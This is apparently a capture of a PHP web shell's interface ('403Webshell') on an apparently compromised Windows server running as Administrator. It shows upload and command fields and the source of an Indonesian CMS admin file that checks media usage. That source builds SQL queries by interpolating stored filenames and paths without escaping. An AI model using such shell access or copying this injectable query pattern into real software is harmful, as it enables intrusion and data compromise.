403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bpkd_/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bpkd_/admin//get_media_usage.php
<?php
/**
 * File: admin/get_media_usage.php
 * Mengecek di mana media/file digunakan
 */

require_once 'config/database.php';
require_once '../includes/config.php'; // Load BASE_URL
require_once 'includes/init.php';

requireLogin();

$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;

if ($id <= 0) {
    echo json_encode(['success' => false, 'message' => 'ID tidak valid']);
    exit;
}

// Ambil data media
$media = $conn->query("SELECT * FROM media WHERE id = $id")->fetch_assoc();
if (!$media) {
    echo json_encode(['success' => false, 'message' => 'Media tidak ditemukan']);
    exit;
}

$usage = [];

// Cek di artikel (content)
$articles = $conn->query("SELECT id, title, slug FROM articles WHERE content LIKE '%{$media['filename']}%' OR content LIKE '%{$media['filepath']}%' LIMIT 10");
while ($row = $articles->fetch_assoc()) {
    $usage[] = [
        'type' => 'article',
        'id' => $row['id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/artikel/' . ($row['slug'] ?: $row['id'])
    ];
}

// Cek di halaman statis (pages)
$pages = $conn->query("SELECT id, title, slug FROM pages WHERE content LIKE '%{$media['filename']}%' OR content LIKE '%{$media['filepath']}%' LIMIT 10");
while ($row = $pages->fetch_assoc()) {
    $usage[] = [
        'type' => 'page',
        'id' => $row['id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/halaman/' . ($row['slug'] ?: $row['id'])
    ];
}

// Cek di carousel
$carousel = $conn->query("SELECT id, title FROM carousel WHERE image = '{$media['filepath']}' OR image_mobile = '{$media['filepath']}' LIMIT 5");
while ($row = $carousel->fetch_assoc()) {
    $usage[] = [
        'type' => 'carousel',
        'id' => $row['id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/admin/carousel.php?edit=' . $row['id']
    ];
}

// Cek di shortcut
$shortcuts = $conn->query("SELECT id, title FROM shortcuts WHERE image = '{$media['filename']}' LIMIT 5");
while ($row = $shortcuts->fetch_assoc()) {
    $usage[] = [
        'type' => 'shortcut',
        'id' => $row['id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/admin/shortcuts.php?edit=' . $row['id']
    ];
}

// Cek di gallery
$gallery = $conn->query("SELECT id, title FROM gallery WHERE image = '{$media['filepath']}' LIMIT 5");
while ($row = $gallery->fetch_assoc()) {
    $usage[] = [
        'type' => 'gallery',
        'id' => $row['id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/admin/gallery.php?edit=' . $row['id']
    ];
}

// Cek di pengumuman (announcement_files)
$announcements = $conn->query("
    SELECT af.announcement_id, a.title 
    FROM announcement_files af 
    JOIN announcements a ON af.announcement_id = a.id 
    WHERE af.filepath = '{$media['filepath']}' LIMIT 5
");
while ($row = $announcements->fetch_assoc()) {
    $usage[] = [
        'type' => 'announcement',
        'id' => $row['announcement_id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/admin/announcements.php?edit=' . $row['announcement_id']
    ];
}

// Cek di profil/sejarah (jika ada)
$profiles = $conn->query("SELECT id, title, type FROM profiles WHERE content LIKE '%{$media['filename']}%' OR content LIKE '%{$media['filepath']}%' LIMIT 5");
while ($row = $profiles->fetch_assoc()) {
    $usage[] = [
        'type' => 'profile',
        'id' => $row['id'],
        'title' => $row['title'],
        'url' => BASE_URL . '/admin/profiles.php?edit=' . $row['id']
    ];
}

echo json_encode([
    'success' => true,
    'media' => [
        'id' => $media['id'],
        'filename' => $media['original_filename'] ?: $media['filename'],
        'filepath' => $media['filepath'],
        'file_url' => BASE_URL . '/' . $media['filepath']
    ],
    'usage' => $usage,
    'total_usage' => count($usage)
]);
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit